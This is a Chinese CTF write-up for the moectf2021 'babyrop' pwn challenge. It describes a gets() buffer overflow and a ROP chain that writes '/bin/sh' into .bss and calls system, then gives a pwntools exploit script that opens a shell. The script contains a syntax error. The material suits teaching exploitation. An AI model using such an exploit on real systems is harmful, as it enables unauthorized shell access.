moectf2021新生賽>>pwn>>babyrop


moectf2021新生賽>>pwn>>babyrop

  題目名:babyrop

  WriteUp:

  首先checksec 

  

 

 

  IDA分析

  

 

 

    

 

 

 

 

   找到gets漏洞點,system的plt,產生利用rop構造參數來getshell的思路,但是無法直接從二進制文件中直接找到。

  這里想到2個辦法1是ret2libc,暫且先不提,2是利用gets函數往.bss段內存寫入參數"/bin/sh",來制造參數

 

  常規方法利用工具ROPgadgets構建ROPchain,但是這里可以直接利用棧結構來一步到位getshell

  

 

 得出exp,如下:

  

from pwn import *
context.log_level = 'debug'

mode = 1
ip = ''
port = ''

binsh_offset = 0x17e0af
gets_plt = 0x08048380
libcmain_addr = 0x804A018
bss_addr = 0x804A028
system_plt = 0x80483A0

payload = 'a' * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr)

if mode == 1
    p = process("./babyrop")
    #gdb.attach(p,"b *0x08048380")
else:
    p = remote(ip,port)


p.sendlineafter("advise?",payload)

p.send("/bin/sh\n")

p.interactive()
    

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM